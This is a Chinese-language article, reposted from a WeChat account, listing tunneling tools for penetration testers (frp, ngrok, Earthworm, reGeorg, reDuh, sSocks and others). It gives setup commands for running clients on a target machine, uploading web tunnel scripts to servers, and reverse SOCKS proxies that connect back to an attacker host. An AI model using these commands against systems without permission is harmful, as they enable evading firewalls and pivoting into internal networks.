好用的內網穿透工具合集
本文轉載自微信公眾號「Bypass 」,作者Bypass 。轉載本文請聯系Bypass公眾號。
在滲透過程中,我們需要快速實現內網穿透,從而繞過網絡訪問限制,直接從外網來訪問內網。今天,我們來推薦幾款非常好用的內網穿透工具,如有其它推薦,歡迎補充和指正。
1、ngrok
ngrok 是一個反向代理,通過在公共的端點和本地運行的 Web 服務器之間建立一個安全的通道。
官網地址:
- https://ngrok.com
使用步驟:
(1)進入ngrok官網注冊賬號,并下載ngrok。
(2)在目標機器上,填寫授權碼,運行ngrok。
- ./ngrok authtoken 授權碼
(3)將HTTP隧道轉發到本地端口80,如下圖,通過外網域名即可訪問到本地80端口。
- ./ngrok http 80
2、frp
frp 是一個高性能的反向代理應用,可以幫助您輕松地進行內網穿透,對外網提供服務,支持 tcp, http, https 等協議類型,并且 web 服務支持根據域名進行路由轉發。
git項目地址:
- https://github.com/fatedier/frp
使用步驟:
(1)將 frps 及 frps.ini 放到有公網 IP 的機器上,修改frps.ini文件,配置一個名為ssh的反向代理:
- # frps.ini
- [common]
- bind_port = 7000
- [ssh]
- listen_port=6000
- auth_token=123
(2)啟動frps:
- ./frps -c ./frps.ini
(3)將 frpc 及 frpc.ini 放到處于內網環境的機器上,修改 frpc.ini 文件,設置 frps 所在服務器的 IP 為 x.x.x.x:
- # frpc.ini
- [common]
- server_addr = 192.168.172.131
- server_port = 7000
- auth_token =123
- [ssh]
- type = tcp
- local_ip = 127.0.0.1
- local_port = 22
- remote_port = 6000
(4)啟動frpc:
- ./frpc -c ./frpc.ini
(5)通過ssh訪問內網服務器,假設用戶名為test:
- ssh -p 6000 test@x.x.x.x
3、Sunny-Ngrok
一條命令解決的外網訪問內網問題,無需任何配置,一條命令讓外網訪問您的內網不再是距離。Ngrok客戶端,支持Windows、Linux、Mac,提供python、PHP等版本。
官網地址:
- https://www.ngrok.cc
使用步驟:
(1) 開通http隧道,設置隧道協議、本地端口等信息。
(2)通過隧道id啟動隧道。
(3)在公網上訪問域名,即可訪問到內網的網站。
4、Natapp
基于ngrok的內網映射工具,免費版本提供http,tcp,udp全隧道穿透、隨機域名/隨機TCP,UDP端口、不定時強制更換域名/端口和自定義本地端口。
下載地址:
- https://natapp.cn
(1)購買隧道,設置隧道協議和本地端口。
(2)下載客戶端,到目標主機,運行natapp。
(3)將natapp分配的網址復制下來,在瀏覽器中訪問,可以看到內網穿透成功了!
5、Earthworm 內網穿透
EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。
支持Windows、Linux、MacOS、Arm-Linux。
項目地址:
- http://rootkiter.com/EarthWorm
使用方法:
(1)正向 SOCKS v5 服務器,適用于目標網絡邊界存在公網IP且可任意開監聽端口。
- ./ew -s ssocksd -l 1080
(2)反彈SOCKS v5 服務器,適用于目標網絡邊界不存在公網 IP,需要通過反彈方式創建 socks 代理
- a) 先在一臺具有公網 ip 的主機A上運行以下命令:
- ./ew -s rcsocks -l 1080 -e 8888
- b) 在目標主機B上啟動 SOCKS v5 服務 并反彈到公網主機的 8888端口
- ./ew -s rssocks -d 1.1.1.1 -e 8888
(3)多級級聯,適用于多層級的復雜網絡環境,將內網深層的服務轉發到外網。
- ## 二級級聯測試用例
- # 方式一:利用lcx_tran
- $ ./ew -s ssocksd -l 9999
- $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
- # 方式二:
- $ ./ew -s lcx_listen -l 1080 -e 8888
- $ ./ew -s ssocksd -l 9999
- $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
- ## 三級級聯測試用例
- $ ./ew -s rcsocks -l 1080 -e 8888
- $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
- $ ./ew -s lcx_listen -l 9999 -e 7777
- $ ./ew -s rssocks -d 127.0.0.1 -e 7777
6、reDuh
ReDuh 是一個通過 HTTP 協議建立隧道傳輸各種其他數據的工具,通過在服務器上傳JSP/PHP/ASP腳本,就可以輕易地連接到服務器后面的主機。
github項目地址:
- https://github.com/sensepost/reDuh
(1)上傳服務端jsp腳本到目標機器
(2)使用reDuh客戶端連接服務端腳本上傳后的地址。
- java -jar reDuhClient.jar http://192.168.172.1/reDuh.jsp
7、reGeorg
reGeorg是reDuh的繼承者,利用了會話層的socks5協議,結合Proxifier使用效率會更高。
下載地址:
- https://github.com/sensepost/reGeorg
使用方法:
(1)1、將 tunnel腳本(aspx | ashx | jsp | php)上傳到Web服務器,訪問顯示“Georg says, ‘All seems fine’“,表示腳本運行正常。
(2)在攻擊者機器上,啟動reGeorgSocksProxy.py,監聽9999端口,看到 Checking if Georg is ready,確認正常運行。
8、Tunna
Tunna是一款神奇的工具,它可以通過HTTP封裝隧道通信任何TCP,以及用于繞過防火墻環境中的網絡限制。
github項目地址:
- https://github.com/SECFORCE/Tunna
9、sSocks
sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支持socks5驗證,支持IPV6和UDP,并提供反向socks代理服務,即將遠程計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試。
下載地址:
- http://sourceforge.net/projects/ssocks/
使用方法:
(1)正向代理
- ./ssocksd --bind 192.168.172.131 --port 1234
(2)反向代理
- ## 監聽6020端口轉發到6010
- ./rcsocks -l 6020 -p 6010 -vv
- ## 反向連接代理主機6010端口
- ./rssocks -s 192.168.172.131:6010 -vv